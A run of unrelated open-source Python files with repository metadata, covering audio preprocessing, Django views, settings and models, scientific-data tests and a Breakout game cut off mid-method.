`step_win` time steps have occurred, calculate the # running mean and standard deviation over the most recent `step_win` # time steps. recent_mean.append(np.mean(relief_record[-step_win:])) recent_std.append(np.std(relief_record[-step_win:])) mean_pct_change = (np.abs(recent_mean[-1] - recent_mean[-step_win]) / np.abs(recent_mean[-1] + recent_mean[-step_win])) std_pct_change = (np.abs(recent_std[-1] - recent_std[-step_win]) / np.abs(recent_std[-1] + recent_std[-step_win])) # If the percent change is less than 1% for both the mean and # standard deviation, flag the system as at steady state. thresh = 0.01 minor_mean_change = mean_pct_change < thresh minor_std_change = std_pct_change < thresh or recent_std[-1] == 0 at_steady_state = minor_mean_change and minor_std_change if step % 1e3 == 0 or at_steady_state: print('ss_check:', 'time', time, 'mean_pct_change', mean_pct_change, 'std_pct_change', std_pct_change) return at_steady_state def get_divide_position(grid): z = grid.at_node['topographic__elevation'].reshape(grid.shape) z_row_mean = z.mean(axis=1) divide_y_coord = z_row_mean.argmax() * grid.dy return divide_y_coord

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null

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0

bb565d6a848c25f10f712bae53673495afeccc03

4,865

py

Python

src/preprocessing.py

jimmystique/AudioClassification

9f9966306068cff7419f6c190752bab4d35b3870

[ "MIT" ]

null

src/preprocessing.py

jimmystique/AudioClassification

9f9966306068cff7419f6c190752bab4d35b3870

[ "MIT" ]

null

src/preprocessing.py

jimmystique/AudioClassification

9f9966306068cff7419f6c190752bab4d35b3870

[ "MIT" ]

null

import os import pandas as pd import pickle as pkl import numpy as np import argparse import yaml import librosa import scipy from scipy.io import wavfile import multiprocessing import time import datetime import socket def resample_wav_data(wav_data, orig_sr, target_sr): """ Resample wav_data from sampling rate equals to orig_sr to a new sampling rate equals to target_sr """ # resampled_wav_data = librosa.core.resample(y=wav_data.astype(np.float32), orig_sr=orig_sr, target_sr=target_sr) resampled_wav_data = scipy.signal.resample(wav_data, target_sr) # print(wav_data, resampled_wav_data, len(resampled_wav_data)) return resampled_wav_data def pad_wav_data(wav_data, vect_size): """ Pad wav data """ if (len(wav_data) > vect_size): raise ValueError("") elif len(wav_data) < vect_size: padded_wav_data = np.zeros(vect_size) starting_point = np.random.randint(low=0, high=vect_size-len(wav_data)) padded_wav_data[starting_point:starting_point+len(wav_data)] = wav_data else: padded_wav_data = wav_data return padded_wav_data def fft_preprocess_user_data_at_pth(user_data_path, preprocessed_data_path, vect_size): print(user_data_path) user_df = pd.DataFrame(columns=['data', "user_id", "record_num", "label"]) wav_user_id = 0 for file in sorted(os.listdir(user_data_path)): if file.endswith(".wav"): wav_label, wav_user_id, wav_record_n = os.path.splitext(file)[0].split("_") wav_sr, wav_data = wavfile.read(os.path.join(user_data_path, file)) resampled_wav_data = resample_wav_data(wav_data, wav_sr, vect_size) # new_row = {"data": padded_wav_data, "user_id": wav_user_id, "record_num": wav_record_n, "label": wav_label} new_row = {"data": resampled_wav_data, "user_id": wav_user_id, "record_num": wav_record_n, "label": wav_label} user_df = user_df.append(new_row, ignore_index=True) pkl.dump( user_df, open("{}_preprocessed.pkl".format(os.path.join(preprocessed_data_path, str(wav_user_id))), "wb" ) ) def downsampling_preprocess_user_data_at_pth(user_data_path, preprocessed_data_path, target_sr, vect_size): print(user_data_path) user_df = pd.DataFrame(columns=['data', "user_id", "record_num", "label"]) wav_user_id = 0 for file in sorted(os.listdir(user_data_path)): if file.endswith(".wav"): wav_label, wav_user_id, wav_record_n = os.path.splitext(file)[0].split("_") wav_sr, wav_data = wavfile.read(os.path.join(user_data_path, file)) y,s = librosa.load(os.path.join(user_data_path, file), target_sr) padded_wav_data = pad_wav_data(y, vect_size) new_row = {"data": padded_wav_data, "user_id": wav_user_id, "record_num": wav_record_n, "label": wav_label} user_df = user_df.append(new_row, ignore_index=True) pkl.dump(user_df, open("{}_preprocessed.pkl".format(os.path.join(preprocessed_data_path, str(wav_user_id))), "wb" ) ) def preprocess(raw_data_path, preprocessed_data_path, resampling_method, n_process, vect_size, target_sr=8000,): #Create preprocessed_data_path if the directory does not exist if not os.path.exists(preprocessed_data_path): os.makedirs(preprocessed_data_path) users_data_path = sorted([folder.path for folder in os.scandir(raw_data_path) if folder.is_dir() and any(file.endswith(".wav") for file in os.listdir(folder))]) print(users_data_path) # pool=multiprocessing.Pool(n_process) pool=multiprocessing.Pool(1) if resampling_method == 'fft': print("Resampling with FFT ...") pool.starmap(fft_preprocess_user_data_at_pth, [[folder, preprocessed_data_path, vect_size] for folder in users_data_path if os.path.isdir(folder)], chunksize=1) elif resampling_method == 'downsampling': print("Resampling by downsampling ...") pool.starmap(downsampling_preprocess_user_data_at_pth, [[folder, preprocessed_data_path, target_sr, vect_size] for folder in users_data_path if os.path.isdir(folder)], chunksize=1) else: raise ValueError(f"method {method} does not exist") if __name__ == "__main__": np.random.seed(42) parser = argparse.ArgumentParser() parser.add_argument("-p", "--preprocessing_cfg", default="configs/config.yaml", type=str, help = "Path to the configuration file") args = parser.parse_args() preprocessing_cfg = yaml.safe_load(open(args.preprocessing_cfg))["preprocessing"] t1 = time.time() preprocess(**preprocessing_cfg) t2 = time.time() with open("logs/logs.csv", "a") as myfile: myfile.write("{:%Y-%m-%d %H:%M:%S},data preprocessing,{},{},{:.2f}\n".format(datetime.datetime.now(),socket.gethostname(),preprocessing_cfg['n_process'],t2-t1)) print("Time elapsed for data processing: {} seconds ".format(t2-t1)) #Preprocessing : ~113s using Parallel computing with n_processed = 10 and resampling with scipys #Preprocessing : ~477.1873028278351 seconds using Parallel computing with n_processed = 10 and resampling with resampy (python module for efficient time-series resampling)

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bb5669ae64601c0a6365ad7e4ed02e95b6e730f0

506

py

Python

tests/builtins/test_dir.py

VeliborKrivokuca/batavia

ecbdc21dc7e002415e6c0ea8654d2b8a8c7a85fa

[ "BSD-3-Clause" ]

1,256

2015-08-09T07:44:02.000Z

2019-03-27T05:41:24.000Z

tests/builtins/test_dir.py

VeliborKrivokuca/batavia

ecbdc21dc7e002415e6c0ea8654d2b8a8c7a85fa

[ "BSD-3-Clause" ]

406

2015-08-12T03:40:29.000Z

2019-02-25T19:26:02.000Z

tests/builtins/test_dir.py

VeliborKrivokuca/batavia

ecbdc21dc7e002415e6c0ea8654d2b8a8c7a85fa

[ "BSD-3-Clause" ]

589

2015-08-10T03:27:31.000Z

2019-03-10T20:58:07.000Z

from ..utils import TranspileTestCase, BuiltinFunctionTestCase class DirTests(TranspileTestCase): pass class BuiltinDirFunctionTests(BuiltinFunctionTestCase, TranspileTestCase): function = "dir" not_implemented = [ 'test_class', ] class BuiltinDirTypeFunctionTests(BuiltinFunctionTestCase, TranspileTestCase): """Test suite that ensures that dir(x) returns the correct type.""" function = "lambda x: type(dir(x))" not_implemented = [ 'test_class', ]

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bb574f490a6c4afce6122ec48aebabf0148da56e

3,999

py

Python

threemegawatt/threemegawatt/settings/development.py

opemipoVRB/MeterTracker

3c52e704844628db31b72d008983b6c090266775

[ "MIT" ]

null

threemegawatt/threemegawatt/settings/development.py

opemipoVRB/MeterTracker

3c52e704844628db31b72d008983b6c090266775

[ "MIT" ]

null

threemegawatt/threemegawatt/settings/development.py

opemipoVRB/MeterTracker

3c52e704844628db31b72d008983b6c090266775

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """ ←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←← ←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←← ↓↓...........................................................................↓↓ ↓↓..........................↓↓↓↓↓↓↓↓↓↓↓↓↓....................................↓↓ ↓↓.......................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓.................................↓↓ ↓↓.....................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓...............................↓↓ ↓↓....................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓..............................↓↓ ↓↓...................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓.↓↓...............................↓↓ ↓↓...................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓...↓↓..............................↓↓ ↓↓...................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓.↓↓...↓↓↓.............................↓↓ ↓↓...................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓..............................↓↓ ↓↓....................↓↓↓↓↓↓↓↓↓↓↓↓↓.....↓↓↓↓↓↓↓↓↓............................↓↓ ↓↓......................↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓..↓↓↓↓↓↓↓............................↓↓ ↓↓...................................↓↓↓.....................................↓↓ ↓↓.................↓↓................↓↓↓↓ ↓↓↓↓↓↓↓........↓...................↓↓ ↓↓...............↓↓↓↓↓↓..............↓↓↓↓↓↓↓↓↓↓↓↓↓...↓↓↓↓↓↓..................↓↓ ↓↓............↓↓↓↓..↓↓↓↓↓.........................↓↓↓↓↓↓↓↓↓..................↓↓ ↓↓............↓↓↓↓...↓↓↓↓↓↓↓....................↓↓↓↓↓↓.↓↓.↓↓.................↓↓ ↓↓...............↓↓↓↓↓↓↓↓↓↓↓↓↓↓............↓↓↓↓↓↓↓↓..........................↓↓ ↓↓.........................↓↓↓↓↓↓↓↓↓...↓↓↓↓↓↓↓...............................↓↓ ↓↓..............................↓↓↓↓↓↓↓↓↓↓...................................↓↓ ↓↓..........................↓↓↓↓↓....↓↓↓↓↓↓↓↓↓...............................↓↓ ↓↓............↓↓.↓↓↓↓↓↓↓↓↓↓↓↓↓............↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓..................↓↓ ↓↓............↓↓.↓↓..↓↓↓↓.....................↓↓↓↓↓↓↓↓↓↓↓↓↓↓.................↓↓ ↓↓..............↓↓↓↓↓↓............................↓↓.↓↓↓↓↓↓↓.................↓↓ ↓↓.................. ......................↓↓ ↓↓.................. ↑↑↑ ↑↑↑ ↑↑↑↑↑↑↑ ↑↑↑↑↑↑↑ .......................↓↓ ↓↓.................. ↑↑↑ ↑↑↑ ↑↑↑ ↑↑↑↑ ↑↑↑ ↑↑↑↑.....................↓↓ ↓↓.................. ↑↑↨ ↑↑↑ ↑↑↨ ↨↑↑ ↑↑↨ ↨↑↑......................↓↓ ↓↓.................. ↨↑↨ ↑↨↑ ↨↑↨ ↨↑↨ ↨↑↨ ↨↑↨......................↓↓ ↓↓.................. ↑↨↑ ↨↑↨ ↨↨↑↨↑↨↨↑↑↨ ↨↨↑↨↑↨↨↑↑↨.....................↓↓ ↓↓.................. ↨↑↨ ↨↨↨ ↨↨↨ ↨↨↨ ↨↨↨ ↨↨↨....................↓↓ ↓↓.................. :↨: ↨↨: ↨↨: :↨↨ ↨↨: :::....................↓↓ ↓↓................... ::↨↨:↨ :↨: :↨: :↨: :::....................↓↓ ↓↓.................... :::: ::: ::: ::: :::....................↓↓ ↓↓...................... : : : ::::::: ....................↓↓ ↓↓...........................................................................↓↓ ↓↓←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←↓↓ ↓↓→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→↓↓ ↓↓ development.py.py Created by Durodola Opemipo 2019 ↓↓ ↓↓ Personal Email : <opemipodurodola@gmail.com> ↓↓ ↓↓ Telephone Number: +2348182104309 ↓↓ ↓↓→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→→↓↓ ↓↓←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←←↓↓ """ import os from threemegawatt.settings.base import * # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! DEBUG = env("DEBUG") ALLOWED_HOSTS = ['localhost', '127.0.0.1']

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bb59b961461cedfb2ddeb8299bd41e4af9504caf

5,260

py

Python

{{ cookiecutter.namespace }}/src/pynwb/tests/test_tetrodeseries.py

TheChymera/ndx-template

44ee210181d5770d037106acff345fe1d30e0477

[ "BSD-3-Clause-LBNL" ]

3

2020-02-06T01:18:47.000Z

2022-01-05T21:21:38.000Z

{{ cookiecutter.namespace }}/src/pynwb/tests/test_tetrodeseries.py

TheChymera/ndx-template

44ee210181d5770d037106acff345fe1d30e0477

[ "BSD-3-Clause-LBNL" ]

38

2019-05-15T19:07:12.000Z

2022-01-27T01:26:57.000Z

{{ cookiecutter.namespace }}/src/pynwb/tests/test_tetrodeseries.py

TheChymera/ndx-template

44ee210181d5770d037106acff345fe1d30e0477

[ "BSD-3-Clause-LBNL" ]

4

2019-05-15T18:03:42.000Z

2020-05-08T11:38:53.000Z

import datetime import numpy as np from pynwb import NWBHDF5IO, NWBFile from pynwb.core import DynamicTableRegion from pynwb.device import Device from pynwb.ecephys import ElectrodeGroup from pynwb.file import ElectrodeTable as get_electrode_table from pynwb.testing import TestCase, remove_test_file, AcquisitionH5IOMixin from {{ cookiecutter.py_pkg_name }} import TetrodeSeries def set_up_nwbfile(): nwbfile = NWBFile( session_description='session_description', identifier='identifier', session_start_time=datetime.datetime.now(datetime.timezone.utc) ) device = nwbfile.create_device( name='device_name' ) electrode_group = nwbfile.create_electrode_group( name='electrode_group', description='description', location='location', device=device ) for i in np.arange(10.): nwbfile.add_electrode( x=i, y=i, z=i, imp=np.nan, location='location', filtering='filtering', group=electrode_group ) return nwbfile class TestTetrodeSeriesConstructor(TestCase): def setUp(self): """Set up an NWB file. Necessary because TetrodeSeries requires references to electrodes.""" self.nwbfile = set_up_nwbfile() def test_constructor(self): """Test that the constructor for TetrodeSeries sets values as expected.""" all_electrodes = self.nwbfile.create_electrode_table_region( region=list(range(0, 10)), description='all the electrodes' ) data = np.random.rand(100, 3) tetrode_series = TetrodeSeries( name='name', description='description', data=data, rate=1000., electrodes=all_electrodes, trode_id=1 ) self.assertEqual(tetrode_series.name, 'name') self.assertEqual(tetrode_series.description, 'description') np.testing.assert_array_equal(tetrode_series.data, data) self.assertEqual(tetrode_series.rate, 1000.) self.assertEqual(tetrode_series.starting_time, 0) self.assertEqual(tetrode_series.electrodes, all_electrodes) self.assertEqual(tetrode_series.trode_id, 1) class TestTetrodeSeriesRoundtrip(TestCase): """Simple roundtrip test for TetrodeSeries.""" def setUp(self): self.nwbfile = set_up_nwbfile() self.path = 'test.nwb' def tearDown(self): remove_test_file(self.path) def test_roundtrip(self): """ Add a TetrodeSeries to an NWBFile, write it to file, read the file, and test that the TetrodeSeries from the file matches the original TetrodeSeries. """ all_electrodes = self.nwbfile.create_electrode_table_region( region=list(range(0, 10)), description='all the electrodes' ) data = np.random.rand(100, 3) tetrode_series = TetrodeSeries( name='TetrodeSeries', description='description', data=data, rate=1000., electrodes=all_electrodes, trode_id=1 ) self.nwbfile.add_acquisition(tetrode_series) with NWBHDF5IO(self.path, mode='w') as io: io.write(self.nwbfile) with NWBHDF5IO(self.path, mode='r', load_namespaces=True) as io: read_nwbfile = io.read() self.assertContainerEqual(tetrode_series, read_nwbfile.acquisition['TetrodeSeries']) class TestTetrodeSeriesRoundtripPyNWB(AcquisitionH5IOMixin, TestCase): """Complex, more complete roundtrip test for TetrodeSeries using pynwb.testing infrastructure.""" def setUpContainer(self): """ Return the test TetrodeSeries to read/write """ self.device = Device( name='device_name' ) self.group = ElectrodeGroup( name='electrode_group', description='description', location='location', device=self.device ) self.table = get_electrode_table() # manually create a table of electrodes for i in range(10): self.table.add_row( x=i, y=i, z=i, imp=np.nan, location='location', filtering='filtering', group=self.group, group_name='electrode_group' ) all_electrodes = DynamicTableRegion( data=list(range(0, 10)), description='all the electrodes', name='electrodes', table=self.table ) data = np.random.rand(100, 3) tetrode_series = TetrodeSeries( name='name', description='description', data=data, rate=1000., electrodes=all_electrodes, trode_id=1 ) return tetrode_series def addContainer(self, nwbfile): """Add the test TetrodeSeries and related objects to the given NWBFile.""" nwbfile.add_device(self.device) nwbfile.add_electrode_group(self.group) nwbfile.set_electrode_table(self.table) nwbfile.add_acquisition(self.container)

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1

bb5b9e701abf5095d0390b5cf553b81d80794a1b

5,113

py

Python

calaccess_website/views/docs/ccdc.py

california-civic-data-coalition/django-calaccess-downloads

198f3b5b7fca846d9ce7c84f3a5bfa0ff4d3d3f7

[ "MIT" ]

3

2016-09-16T16:50:31.000Z

2021-07-30T23:58:29.000Z

calaccess_website/views/docs/ccdc.py

world-admin/django-calaccess-downloads-website

205480959358f51f4a7f11275fb8f60bd1091025

[ "MIT" ]

193

2016-05-27T16:34:10.000Z

2021-09-24T16:11:04.000Z

calaccess_website/views/docs/ccdc.py

world-admin/django-calaccess-downloads-website

205480959358f51f4a7f11275fb8f60bd1091025

[ "MIT" ]

4

2016-06-14T00:41:19.000Z

2022-01-14T00:29:45.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- """ Views for CCDC file documetnation pages. """ # Django tricks from django.apps import apps from django.http import Http404 from django.urls import reverse from calaccess_website.templatetags.calaccess_website_tags import slugify # Models from calaccess_processed.models import ProcessedDataFile # Views from calaccess_website.views import CalAccessModelListMixin from django.views.generic import DetailView, ListView def get_ocd_proxy_models(): """ Return an iterable of all OCD proxy models from the processed_data app. """ election_proxies = apps.get_app_config('calaccess_processed_elections').get_ocd_models_map().values() flat_proxies = apps.get_app_config("calaccess_processed_flatfiles").get_flat_proxy_list() return list(election_proxies) + list(flat_proxies) def get_processed_data_files(): """ Return a tuple of ProcessedDataFile instances for published files. """ file_list = [ProcessedDataFile(file_name=m().file_name) for m in get_ocd_proxy_models()] return sorted(file_list, key=lambda f: f.file_name) class CcdcFileList(ListView, CalAccessModelListMixin): template_name = 'calaccess_website/docs/ccdc/file_list.html' def get_queryset(self): """ Returns the CCDC model list with grouped by type. """ return self.regroup_by_klass_group(get_processed_data_files()) def get_context_data(self, **kwargs): context = super(CcdcFileList, self).get_context_data(**kwargs) context['file_num'] = len(get_processed_data_files()) context['title'] = 'Processed files' context['description'] = 'Definitions, record layouts and data dictionaries for the \ processed data files released by the California Civic Data Coalition. Recommended for beginners and regular use.' return context class BaseFileDetailView(DetailView): """ Base class for views providing information about a CCDC data file. """ def get_queryset(self): """ Returns a list of the ccdc data files as a key dictionary with the URL slug as the keys. """ return dict((slugify(f.file_name), f) for f in get_processed_data_files()) def set_kwargs(self, obj): self.kwargs = { 'slug': obj } def get_object(self): """ Returns the file model from the CAL-ACCESS processed data app that matches the provided slug. Raises a 404 error if one is not found """ key = self.kwargs['slug'] try: return self.get_queryset()[key.lower()] except KeyError: raise Http404 def get_context_data(self, **kwargs): """ Add some extra bits to the template's context """ file_name = self.kwargs['slug'].replace("-", "") context = super(BaseFileDetailView, self).get_context_data(**kwargs) # Pull all previous versions of the provided file context['version_list'] = ProcessedDataFile.objects.filter( file_name__icontains=file_name ).order_by( '-version__raw_version__release_datetime' ).exclude( version__raw_version__release_datetime__lte='2016-07-27' ) # note if the most recent version of the file is empty try: context['empty'] = context['version_list'][0].records_count == 0 except IndexError: context['empty'] = True return context class CcdcFileDownloadsList(BaseFileDetailView): """ A detail page with links to all downloads for the provided CCDC data file. """ template_name = 'calaccess_website/docs/ccdc/download_list.html' def get_url(self, obj): return reverse('ccdc_file_downloads_list', kwargs=dict(slug=obj)) class CcdcFileDetail(BaseFileDetailView): """ A detail page with all documentation for the provided CCDC data file. """ template_name = 'calaccess_website/docs/ccdc/file_detail.html' def get_url(self, obj): return reverse('ccdc_file_detail', kwargs=dict(slug=obj)) def get_context_data(self, **kwargs): """ Add some extra bits to the template's context """ context = super(CcdcFileDetail, self).get_context_data(**kwargs) # Add list of fields to context context['fields'] = self.get_sorted_fields() return context def get_sorted_fields(self): """ Return a list of fields (dicts) sorted by name. """ field_list = [] for field in self.object.model().get_field_list(): field_data = { 'column': field.name, 'description': field.description, 'help_text': field.help_text, } if field.choices and len(field.choices) > 0: field_data['choices'] = [c for c in field.choices] else: field_data['choices'] = None field_list.append(field_data) return sorted(field_list, key=lambda k: k['column'])

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0.656171

628

5,113

5.146497

0.297771

0.020421

0.02599

0.256807

0.150681

0.142327

0.103342

0

0.005474

0.249756

5,113

155

114

32.987097

0.83707

0.196558

0

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0

0.108143

0.065612

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0.151899

false

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0.088608

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0.468354

0

null

0

null

0

1

0

bb5c8ea17ee9ecb16f8a2b9c72c06dd3eb1f5f67

2,536

py

Python

comment/models/reactions.py

setayeshmbr/coronavirus_blog

2bb94e905ac7e5401776ac81fd301a90a24f1a9f

[ "MIT" ]

null

comment/models/reactions.py

setayeshmbr/coronavirus_blog

2bb94e905ac7e5401776ac81fd301a90a24f1a9f

[ "MIT" ]

null

comment/models/reactions.py

setayeshmbr/coronavirus_blog

2bb94e905ac7e5401776ac81fd301a90a24f1a9f

[ "MIT" ]

null

from enum import IntEnum, unique from django.contrib.auth import get_user_model from django.db import models from django.db.models.signals import post_delete, post_save from django.dispatch import receiver from django.utils import timezone from comment.models import Comment from comment.managers import ReactionManager, ReactionInstanceManager class Reaction(models.Model): comment = models.OneToOneField(Comment, on_delete=models.CASCADE) likes = models.PositiveIntegerField(default=0) dislikes = models.PositiveIntegerField(default=0) objects = ReactionManager() def _increase_count(self, field): self.refresh_from_db() setattr(self, field, models.F(field) + 1) self.save(update_fields=[field]) def _decrease_count(self, field): self.refresh_from_db() setattr(self, field, models.F(field) - 1) self.save(update_fields=[field]) def increase_reaction_count(self, reaction): if reaction == ReactionInstance.ReactionType.LIKE.value: self._increase_count('likes') else: self._increase_count('dislikes') def decrease_reaction_count(self, reaction): if reaction == ReactionInstance.ReactionType.LIKE.value: self._decrease_count('likes') else: self._decrease_count('dislikes') class ReactionInstance(models.Model): @unique class ReactionType(IntEnum): LIKE = 1 DISLIKE = 2 CHOICES = [(r.value, r.name) for r in ReactionType] reaction = models.ForeignKey(Reaction, related_name='reactions', on_delete=models.CASCADE) user = models.ForeignKey(get_user_model(), related_name='reactions', on_delete=models.CASCADE) reaction_type = models.SmallIntegerField(choices=CHOICES) date_reacted = models.DateTimeField(auto_now=timezone.now()) objects = ReactionInstanceManager() class Meta: unique_together = ['user', 'reaction'] @receiver(post_delete, sender=ReactionInstance) def delete_reaction_instance(sender, instance, using, **kwargs): instance.reaction.decrease_reaction_count(instance.reaction_type) @receiver(post_save, sender=ReactionInstance) def add_count(sender, instance, created, raw, using, update_fields, **kwargs): if created: instance.reaction.increase_reaction_count(instance.reaction_type) @receiver(post_save, sender=Comment) def add_reaction(sender, instance, created, raw, using, update_fields, **kwargs): if created: Reaction.objects.create(comment=instance)

32.935065

98

0.729101

294

2,536

6.112245

0.27551

0.027824

0.023372

0.035058

0.351697

0.306066

0.244853

0

0.002859

0.172319

2,536

76

99

33.368421

0.853263

0

0.181818

0

0.022082

0

1

0.127273

false

0

0.145455

0

0.527273

0

null

0

null

0

1

0

246de88d2fe441aebedc83fc4f8b906aee07ae8a

1,394

py

Python

gorp/test/test_b_option.py

molsonkiko/gorpy

1dceb8bb530a7c7c558d51cedbbbf1cdc9e6f914

[ "MIT" ]

null

gorp/test/test_b_option.py

molsonkiko/gorpy

1dceb8bb530a7c7c558d51cedbbbf1cdc9e6f914

[ "MIT" ]

null

gorp/test/test_b_option.py

molsonkiko/gorpy

1dceb8bb530a7c7c558d51cedbbbf1cdc9e6f914

[ "MIT" ]

null

from gorp.readfiles import * from gorp.test.test_ku_options import setup_tempdir import itertools import unittest og_dirname = os.getcwd() def get_combos(): setup_tempdir() os.chdir(os.path.join(gorpdir, "test", "temp")) base_query = " -b '[bp]l[uo]t' /." gorptags = ["-r", "-l", "-h", "-i", "-c", "-o", "-n", "-v"] tag_combos = ( c for combos in (itertools.combinations(gorptags, ii) for ii in range(9)) for c in combos ) query_results = {} bad_combos = {} session = GorpSession(print_output=False) try: for combo in tag_combos: Combo = " ".join(combo) try: session.receive_query(Combo + base_query) out = session.old_queries["prev"].resultset query_results[frozenset(re.findall("[a-z]+", Combo))] = out except Exception as ex: bad_combos[frozenset(re.findall("[a-z]+", Combo))] = repr(ex) finally: session.close() os.chdir(og_dirname) return query_results, bad_combos class BOptionTester(unittest.TestCase): def test_b_option(self): query_results, bad_combos = get_combos() self.assertFalse( bad_combos, "At least one option combo failed with the 'b' option under normal conditions", ) if __name__ == "__main__": unittest.main()

29.041667

91

0.58967

172

1,394

4.581395

0.52907

0.057107

0.079949

0.063452

0

0.000996

0.27977

1,394

47

92

29.659574

0.783865

0

0.05

0

0.1033

0

0.025

1

0.05

false

0

0.1

0

0.2

0.025

0

null

0

null

0

1

0

246e6304dc03101d69f37d5890c1e8f95b162696

45

py

Python

api/__init__.py

jbrownrs/issue-376-GDS-link

e8cce1b79f46b98a7d24b2da5eca48430fd904a3

[ "MIT" ]

5

2019-01-07T17:22:34.000Z

2020-10-08T15:03:12.000Z

api/__init__.py

jbrownrs/issue-376-GDS-link

e8cce1b79f46b98a7d24b2da5eca48430fd904a3

[ "MIT" ]

203

2017-12-14T09:51:56.000Z

2018-08-28T14:04:08.000Z

api/__init__.py

jbrownrs/issue-376-GDS-link

e8cce1b79f46b98a7d24b2da5eca48430fd904a3

[ "MIT" ]

5

2018-10-22T11:36:01.000Z

2020-07-20T05:47:49.000Z

""" Implement a REST-ful API interface. """

9

35

0.644444

6

45

4.833333

1

0

0.177778

45

4

36

11.25

0.783784

0.777778

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

null

0

1

0

4

2471c183baaffa838c1d8f4a682290146e29d206

8,689

py

Python

stancode_projects/Break out games/breakoutgraphics.py

itinghuang/iting-projects

304d41fe8a4b3ae45a01611a8868981f31e72d68

[ "MIT" ]

null

stancode_projects/Break out games/breakoutgraphics.py

itinghuang/iting-projects

304d41fe8a4b3ae45a01611a8868981f31e72d68

[ "MIT" ]

null

stancode_projects/Break out games/breakoutgraphics.py

itinghuang/iting-projects

304d41fe8a4b3ae45a01611a8868981f31e72d68

[ "MIT" ]

null

""" stanCode Breakout Project Adapted from Eric Roberts's Breakout by Sonja Johnson-Yu, Kylie Jue, Nick Bowman, and Jerry Liao YOUR DESCRIPTION HERE """ from campy.graphics.gwindow import GWindow from campy.graphics.gobjects import GOval, GRect, GLabel from campy.gui.events.mouse import onmouseclicked, onmousemoved import random # constant BRICK_SPACING = 5 # Space between bricks (in pixels). This space is used for horizontal and vertical spacing. BRICK_WIDTH = 40 # Height of a brick (in pixels). BRICK_HEIGHT = 15 # Height of a brick (in pixels). BRICK_ROWS = 10 # Number of rows of bricks. BRICK_COLS = 10 # Number of columns of bricks. BRICK_OFFSET = 50 # Vertical offset of the topmost brick from the window top (in pixels). BALL_RADIUS = 10 # Radius of the ball (in pixels). PADDLE_WIDTH = 75 # Width of the paddle (in pixels). PADDLE_HEIGHT = 15 # Height of the paddle (in pixels). PADDLE_OFFSET = 50 # Vertical offset of the paddle from the window bottom (in pixels). # constants that cannot be changed by user INITIAL_Y_SPEED = 7.0 # Initial vertical speed for the ball. MAX_X_SPEED = 5 # Maximum initial horizontal speed for the ball. count = 0 # the Qty of removed bricks class BreakoutGraphics: def __init__(self, ball_radius = BALL_RADIUS, paddle_width = PADDLE_WIDTH, paddle_height = PADDLE_HEIGHT, paddle_offset = PADDLE_OFFSET, brick_rows = BRICK_ROWS, brick_cols = BRICK_COLS, brick_width = BRICK_WIDTH, brick_height = BRICK_HEIGHT, brick_offset = BRICK_OFFSET, brick_spacing = BRICK_SPACING, title='Breakout'): # Create a graphical window, with some extra space. window_width = brick_cols * (brick_width + brick_spacing) - brick_spacing window_height = brick_offset + 3 * (brick_rows * (brick_height + brick_spacing) - brick_spacing) self.window = GWindow(width=window_width, height=window_height, title=title) # Create a paddle. self.paddle = GRect(PADDLE_WIDTH,PADDLE_HEIGHT,x=(window_width/2-PADDLE_WIDTH/2),y=window_height-PADDLE_OFFSET) self.paddle.filled = True self.window.add(self.paddle) # Center a filled ball in the graphical window. self.ball = GOval(BALL_RADIUS*2, BALL_RADIUS*2) self.ball.filled = True self.window.add(self.ball,x=(window_width/2-BALL_RADIUS), y=window_height/2-PADDLE_OFFSET) # Initialize our mouse listeners. onmouseclicked(self.ball_start) onmousemoved(self.paddle_move) # Default initial velocity for the ball. self.__dx = 0 self.__dy = 0 # Default the removed bricks self.count = 0 # Draw bricks. for j in range(BRICK_ROWS): for i in range(BRICK_COLS): self.brick = GRect(BRICK_WIDTH, BRICK_HEIGHT, x= (BRICK_WIDTH+brick_spacing)*i, y=BRICK_OFFSET+(BRICK_HEIGHT+brick_spacing)*j) self.brick.filled = True if j == 0 : self.brick_color = 'red' elif j == 2: self.brick_color = 'orange' elif j == 4: self.brick_color = 'yellow' elif j == 6: self.brick_color = 'green' elif j ==8: self.brick_color = 'blue' self.brick.fill_color = self.brick_color self.brick.color = self.brick_color self.window.add(self.brick) def paddle_move(self, event): ''' To set the remove paddle. The paddle will follow the position of mouse :return: the x of paddle ''' self.paddle.x = event.x self.paddle.y = self.window.height-PADDLE_OFFSET if event.x <= 0: self.paddle.x = 0 elif event.x >= (self.window.width-self.paddle.width): self.paddle.x = self.window.width-self.paddle.width else: self.paddle.x = event.x def ball_start(self, event): ''' If user click the mouse, the moving distance will increase (__dx, __dy) and start the moving. :return: new __dx, __dy ''' if self.__dy == 0 and self.__dy == 0: self.__dy = INITIAL_Y_SPEED self.__dx = random.randint(1, MAX_X_SPEED) 